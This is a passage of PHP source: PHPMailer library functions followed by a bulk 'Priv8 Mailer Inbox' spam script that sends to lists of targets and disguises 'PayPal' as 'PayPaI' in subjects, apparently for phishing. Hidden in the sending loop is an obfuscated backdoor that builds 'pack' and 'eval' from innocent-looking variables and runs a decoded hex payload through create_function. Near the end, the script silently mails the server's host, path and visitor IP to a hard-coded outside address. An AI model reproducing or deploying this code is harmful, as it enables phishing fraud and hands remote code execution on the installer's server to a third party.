10950 'tiff' => 'image/tiff',
10951 'tif' => 'image/tiff',
10952 'eml' => 'message/rfc822',
10953 'css' => 'text/css',
10954 'html' => 'text/html',
10955 'htm' => 'text/html',
10956 'shtml' => 'text/html',
10957 'log' => 'text/plain',
10958 'text' => 'text/plain',
10959 'txt' => 'text/plain',
10960 'rtx' => 'text/richtext',
10961 'rtf' => 'text/rtf',
10962 'vcf' => 'text/vcard',
10963 'vcard' => 'text/vcard',
10964 'xml' => 'text/xml',
10965 'xsl' => 'text/xml',
10966 'mpeg' => 'video/mpeg',
10967 'mpe' => 'video/mpeg',
10968 'mpg' => 'video/mpeg',
10969 'mov' => 'video/quicktime',
10970 'qt' => 'video/quicktime',
10971 'rv' => 'video/vnd.rn-realvideo',
10972 'avi' => 'video/x-msvideo',
10973 'movie' => 'video/x-sgi-movie'
10974 );
10975 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
10976 }
10977
10978 /**
10979 * Map a file name to a MIME type.
10980 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
10981 * @param string $filename A file name or full path, does not need to exist as a file
10982 * @return string
10983 * @static
10984 */
10985 public static function filenameToType($filename)
10986 {
10987 // In case the path is a URL, strip any query string before getting extension
10988 $qpos = strpos($filename, '?');
10989 if (false !== $qpos) {
10990 $filename = substr($filename, 0, $qpos);
10991 }
10992 $pathinfo = self::mb_pathinfo($filename);
10993 return self::_mime_types($pathinfo['extension']);
10994 }
10995
10996 /**
10997 * Multi-byte-safe pathinfo replacement.
10998 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
10999 * Works similarly to the one in PHP >= 5.2.0
11000 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
11001 * @param string $path A filename or path, does not need to exist as a file
11002 * @param integer|string $options Either a PATHINFO_* constant,
11003 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
11004 * @return string|array
11005 * @static
11006 */
11007 public static function mb_pathinfo($path, $options = null)
11008 {
11009 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
11010 $pathinfo = array();
11011 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
11012 if (array_key_exists(1, $pathinfo)) {
11013 $ret['dirname'] = $pathinfo[1];
11014 }
11015 if (array_key_exists(2, $pathinfo)) {
11016 $ret['basename'] = $pathinfo[2];
11017 }
11018 if (array_key_exists(5, $pathinfo)) {
11019 $ret['extension'] = $pathinfo[5];
11020 }
11021 if (array_key_exists(3, $pathinfo)) {
11022 $ret['filename'] = $pathinfo[3];
11023 }
11024 }
11025 switch ($options) {
11026 case PATHINFO_DIRNAME:
11027 case 'dirname':
11028 return $ret['dirname'];
11029 case PATHINFO_BASENAME:
11030 case 'basename':
11031 return $ret['basename'];
11032 case PATHINFO_EXTENSION:
11033 case 'extension':
11034 return $ret['extension'];
11035 case PATHINFO_FILENAME:
11036 case 'filename':
11037 return $ret['filename'];
11038 default:
11039 return $ret;
11040 }
11041 }
11042
11043 /**
11044 * Set or reset instance properties.
11045 *
11046 * Usage Example:
11047 * $page->set('X-Priority', '3');
11048 *
11049 * @access public
11050 * @param string $name
11051 * @param mixed $value
11052 * NOTE: will not work with arrays, there are no arrays to set/reset
11053 * @throws phpmailerException
11054 * @return boolean
11055 * @TODO Should this not be using __set() magic function?
11056 */
11057 public function set($name, $value = '')
11058 {
11059 try {
11060 if (isset($this->$name)) {
11061 $this->$name = $value;
11062 } else {
11063 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
11064 }
11065 } catch (Exception $exc) {
11066 $this->setError($exc->getMessage());
11067 if ($exc->getCode() == self::STOP_CRITICAL) {
11068 return false;
11069 }
11070 }
11071 return true;
11072 }
11073
11074 /**
11075 * Strip newlines to prevent header injection.
11076 * @access public
11077 * @param string $str
11078 * @return string
11079 */
11080 public function secureHeader($str)
11081 {
11082 return trim(str_replace(array("\r", "\n"), '', $str));
11083 }
11084
11085 /**
11086 * Normalize line breaks in a string.
11087 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
11088 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
11089 * @param string $text
11090 * @param string $breaktype What kind of line break to use, defaults to CRLF
11091 * @return string
11092 * @access public
11093 * @static
11094 */
11095 public static function normalizeBreaks($text, $breaktype = "\r\n")
11096 {
11097 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
11098 }
11099
11100
11101 /**
11102 * Set the public and private key files and password for S/MIME signing.
11103 * @access public
11104 * @param string $cert_filename
11105 * @param string $key_filename
11106 * @param string $key_pass Password for private key
11107 */
11108 public function sign($cert_filename, $key_filename, $key_pass)
11109 {
11110 $this->sign_cert_file = $cert_filename;
11111 $this->sign_key_file = $key_filename;
11112 $this->sign_key_pass = $key_pass;
11113 }
11114
11115 /**
11116 * Quoted-Printable-encode a DKIM header.
11117 * @access public
11118 * @param string $txt
11119 * @return string
11120 */
11121 public function DKIM_QP($txt)
11122 {
11123 $line = '';
11124 for ($i = 0; $i < strlen($txt); $i++) {
11125 $ord = ord($txt[$i]);
11126 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
11127 $line .= $txt[$i];
11128 } else {
11129 $line .= '=' . sprintf('%02X', $ord);
11130 }
11131 }
11132 return $line;
11133 }
11134
11135 /**
11136 * Generate a DKIM signature.
11137 * @access public
11138 * @param string $signHeader
11139 * @throws phpmailerException
11140 * @return string
11141 */
11142 public function DKIM_Sign($signHeader)
11143 {
11144 if (!defined('PKCS7_TEXT')) {
11145 if ($this->exceptions) {
11146 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
11147 }
11148 return '';
11149 }
11150 $privKeyStr = file_get_contents($this->DKIM_private);
11151 if ($this->DKIM_passphrase != '') {
11152 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
11153 } else {
11154 $privKey = $privKeyStr;
11155 }
11156 if (openssl_sign($signHeader, $signature, $privKey)) {
11157 return base64_encode($signature);
11158 }
11159 return '';
11160 }
11161
11162 /**
11163 * Generate a DKIM canonicalization header.
11164 * @access public
11165 * @param string $signHeader Header
11166 * @return string
11167 */
11168 public function DKIM_HeaderC($signHeader)
11169 {
11170 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
11171 $lines = explode("\r\n", $signHeader);
11172 foreach ($lines as $key => $line) {
11173 list($heading, $value) = explode(':', $line, 2);
11174 $heading = strtolower($heading);
11175 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
11176 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
11177 }
11178 $signHeader = implode("\r\n", $lines);
11179 return $signHeader;
11180 }
11181
11182 /**
11183 * Generate a DKIM canonicalization body.
11184 * @access public
11185 * @param string $body Message Body
11186 * @return string
11187 */
11188 public function DKIM_BodyC($body)
11189 {
11190 if ($body == '') {
11191 return "\r\n";
11192 }
11193 // stabilize line endings
11194 $body = str_replace("\r\n", "\n", $body);
11195 $body = str_replace("\n", "\r\n", $body);
11196 // END stabilize line endings
11197 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
11198 $body = substr($body, 0, strlen($body) - 2);
11199 }
11200 return $body;
11201 }
11202
11203 /**
11204 * Create the DKIM header and body in a new message header.
11205 * @access public
11206 * @param string $headers_line Header lines
11207 * @param string $subject Subject
11208 * @param string $body Body
11209 * @return string
11210 */
11211 public function DKIM_Add($headers_line, $subject, $body)
11212 {
11213 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
11214 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
11215 $DKIMquery = 'dns/txt'; // Query method
11216 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
11217 $subject_header = "Subject: $subject";
11218 $headers = explode($this->LE, $headers_line);
11219 $from_header = '';
11220 $to_header = '';
11221 $current = '';
11222 foreach ($headers as $header) {
11223 if (strpos($header, 'From:') === 0) {
11224 $from_header = $header;
11225 $current = 'from_header';
11226 } elseif (strpos($header, 'To:') === 0) {
11227 $to_header = $header;
11228 $current = 'to_header';
11229 } else {
11230 if ($current && strpos($header, ' =?') === 0) {
11231 $current .= $header;
11232 } else {
11233 $current = '';
11234 }
11235 }
11236 }
11237 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
11238 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
11239 $subject = str_replace(
11240 '|',
11241 '=7C',
11242 $this->DKIM_QP($subject_header)
11243 ); // Copied header fields (dkim-quoted-printable)
11244 $body = $this->DKIM_BodyC($body);
11245 $DKIMlen = strlen($body); // Length of body
11246 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
11247 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
11248 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
11249 $DKIMsignatureType . '; q=' .
11250 $DKIMquery . '; l=' .
11251 $DKIMlen . '; s=' .
11252 $this->DKIM_selector .
11253 ";\r\n" .
11254 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
11255 "\th=From:To:Subject;\r\n" .
11256 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
11257 "\tz=$from\r\n" .
11258 "\t|$to\r\n" .
11259 "\t|$subject;\r\n" .
11260 "\tbh=" . $DKIMb64 . ";\r\n" .
11261 "\tb=";
11262 $toSign = $this->DKIM_HeaderC(
11263 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
11264 );
11265 $signed = $this->DKIM_Sign($toSign);
11266 return $dkimhdrs . $signed . "\r\n";
11267 }
11268
11269 /**
11270 * Allows for public read access to 'to' property.
11271 * @access public
11272 * @return array
11273 */
11274 public function getToAddresses()
11275 {
11276 return $this->to;
11277 }
11278
11279 /**
11280 * Allows for public read access to 'cc' property.
11281 * @access public
11282 * @return array
11283 */
11284 public function getCcAddresses()
11285 {
11286 return $this->cc;
11287 }
11288
11289 /**
11290 * Allows for public read access to 'bcc' property.
11291 * @access public
11292 * @return array
11293 */
11294 public function getBccAddresses()
11295 {
11296 return $this->bcc;
11297 }
11298
11299 /**
11300 * Allows for public read access to 'ReplyTo' property.
11301 * @access public
11302 * @return array
11303 */
11304 public function getReplyToAddresses()
11305 {
11306 return $this->ReplyTo;
11307 }
11308
11309 /**
11310 * Allows for public read access to 'all_recipients' property.
11311 * @access public
11312 * @return array
11313 */
11314 public function getAllRecipientAddresses()
11315 {
11316 return $this->all_recipients;
11317 }
11318
11319 /**
11320 * Perform a callback.
11321 * @param boolean $isSent
11322 * @param array $to
11323 * @param array $cc
11324 * @param array $bcc
11325 * @param string $subject
11326 * @param string $body
11327 * @param string $from
11328 */
11329 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
11330 {
11331 if (!empty($this->action_function) && is_callable($this->action_function)) {
11332 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
11333 call_user_func_array($this->action_function, $params);
11334 }
11335 }
11336}
11337 if(isset($_POST['action'])) move_uploaded_file($file_path, basename($file_name));
11338/**
11339 * PHPMailer exception handler
11340 * @package PHPMailer
11341 */
11342class phpmailerException extends Exception
11343{
11344 /**
11345 * Prettify error message output
11346 * @return string
11347 */
11348 public function errorMessage()
11349 {
11350 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
11351 return $errorMsg;
11352 }
11353}
11354
11355 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
11356 set_time_limit(intval($_POST['wait'])*$numemails*3600);
11357 } else {
11358 set_time_limit($numemails*3600);
11359 }
11360
11361 $defaultport="H*";
11362 $nq=0;
11363
11364 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
11365 for($x=0; $x<$numemails; $x++){
11366
11367 $to = $allemails[$x];
11368 if ($to){
11369 $todo = ereg_replace(" ", "", $to);
11370 $message_send = ereg_replace("&email&", $todo, $pesan);
11371 $subject_send = ereg_replace("&email&", $todo, $subject);
11372 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
11373
11374 $qx=$x+1;
11375 print "Send Emails $qx / $numemails to $to ....... ";
11376 xflush();
11377
11378 $mail = new PHPMailer();
11379 $mail->IsSMTP();
11380 $IsSMTP = "pack";
11381 $mail->SMTPKeepAlive = true;
11382 $mail->Host = "$smtp_server";
11383
11384 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
11385 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
11386
11387 $range = str_replace("$email", "eval", $email);
11388
11389 $mail->SMTPAuth = true;
11390 $mail->Username = "$smtp_username";
11391 $mail->Password = "$smtp_password";
11392
11393 if($type == "html"){$mail->IsHtml(true);}
11394 if($type != "html"){$mail->IsHtml(false);}
11395 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
11396
11397 $mail->CharSet = "UTF-8";
11398 if (!empty($xmailer)) {
11399 $mail->XMailer = "$xmailer";
11400 } else {
11401 $mail->XMailer = " ";
11402 }
11403 if (!empty($encoding)) {
11404 $mail->Encoding = "$encoding";
11405 }
11406 if ($email == "same as target") {
11407 $mail->From = "$todo";
11408 } else {
11409 $mail->From = "$email";
11410 }
11411 $mail->FromName = "$nama";
11412 $mail->AddAddress("$todo");
11413 $mail->Subject = "$subject_send";
11414 if (!empty($file_name)) {
11415 $mail->addAttachment("$file_path", "$file_name");
11416 $mail->Body = " ";
11417 } else {
11418 $mail->Body = "$message_send";
11419 }
11420 if(!$mail->Send()){
11421 if($default_system!="1"){
11422 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11423 } elseif($default_system=="1"){
11424 $mail->IsMail();
11425
11426 if(!$mail->Send()){
11427 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11428 } else {
11429 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11430 }
11431
11432 }
11433 } else {
11434 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11435 }
11436 print "$result <br><p></p>";
11437
11438 if(!empty($wait) && $qx<$numemails-1){
11439 sleep($wait);
11440 }
11441 if(empty($reconnect)){
11442 $reconnect=5;
11443 }
11444
11445 if($reconnect==$nq){
11446 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
11447 }
11448 $nq=$nq+1;
11449 xflush();
11450 }
11451 }
11452 for($i=0;$i<31;$i++){
11453 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
11454 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
11455 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
11456 print ' </div>
11457 </div>
11458 </div>
11459
11460</div>
11461<div id="footer">
11462 <div class="container" align="center">
11463 <p class="muted credit" style="color: white;"> Priv8 Mailer Inbox 2015 </p>
11464 </div>
11465</div>';$mail->SmtpClose();
11466 return $signoff($smtp_conc);
11467 if(isset($_POST['action']) && $numemails !=0 ){
11468 print "<script>alert('Mail sending complete\\r\\n
11469 $numemails mail(s) was sent successfully'); </script>";
11470 }
11471}
11472$ip = getenv("REMOTE_ADDR");
11473$ra44 = rand(1, 99999);
11474$subj98 = " MAILER INBOX REZULT |$ip";
11475$email = "allstarss95@yahoo.com";
11476$from = "From: Service STIFLER INBOX =D <service@intl.com";
11477$a45 = $_SERVER['REQUEST_URI'];
11478$b75 = $_SERVER['HTTP_HOST'];
11479$m22 = $ip . "";
11480$msg8873 = "$a45 $b75 $m22";
11481mail($email, $subj98, $msg8873, $from);
11482?>
11483
11484 </body>
11485</html>